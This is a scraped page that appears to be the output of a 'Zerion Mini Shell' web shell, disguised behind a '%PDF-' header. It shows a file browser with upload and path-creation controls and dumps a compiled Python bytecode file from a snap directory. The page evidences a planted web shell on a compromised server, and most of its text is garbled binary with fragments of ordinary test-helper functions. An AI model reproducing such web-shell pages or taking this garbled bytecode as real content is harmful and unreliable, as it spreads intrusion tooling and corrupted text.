%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core18/current/usr/lib/python3.6/test/libregrtest/__pycache__/
Upload File :
Create Path :
Current File : //snap/core18/current/usr/lib/python3.6/test/libregrtest/__pycache__/utils.cpython-36.pyc

3

/�$hx�@s>ddlZddlZddlZdd�Zdd�Zdd�Zdd
d�ZdS)
�NcCs�tj|d�}t|d�\}}t|d�\}}t|d�\}}g}|rN|jd|�|r`|jd|�|rr|jd|�|r�|jd|�|s�dS|dd	�}d
j|�S)Ng@�@i��<z%s hourz%s minz%s secz%s msz0 ms�� )�mathZceil�divmod�append�join)ZsecondsZmsZminutesZhours�parts�r
�,/usr/lib/python3.6/test/libregrtest/utils.py�format_durations"rcCsB|sdSx4t|�D](\}}tjj|�\}}|dkr|||<qWdS)Nz.py)�	enumerate�os�path�splitext)�names�idx�name�basenameZextr
r
r�removepysrcCs$|dkrd||fSd||fSdS)N�z%d %sz%d %ssr
)�nZwordr
r
r�count%sr�F�cCs:d|}ttjdjdd�t|�D��|||d�|d�dS)z�Print the elements of iterable x to stdout.

    Optional arg width (default 70) is the maximum line length.
    Optional arg indent (default 4) is the number of blanks with which to
    begin each line.
    rcss|]}t|�VqdS)N)�str)�.0Zeltr
r
r�	<genexpr>6szprintlist.<locals>.<genexpr>)Zinitial_indentZsubsequent_indent)�fileN)�print�textwrapZfillr�sorted)�x�width�indentrZblanksr
r
r�	printlist,sr%)rrN)�os.pathrrr rrrr%r
r
r
r�<module>s	

Zerion Mini Shell 1.0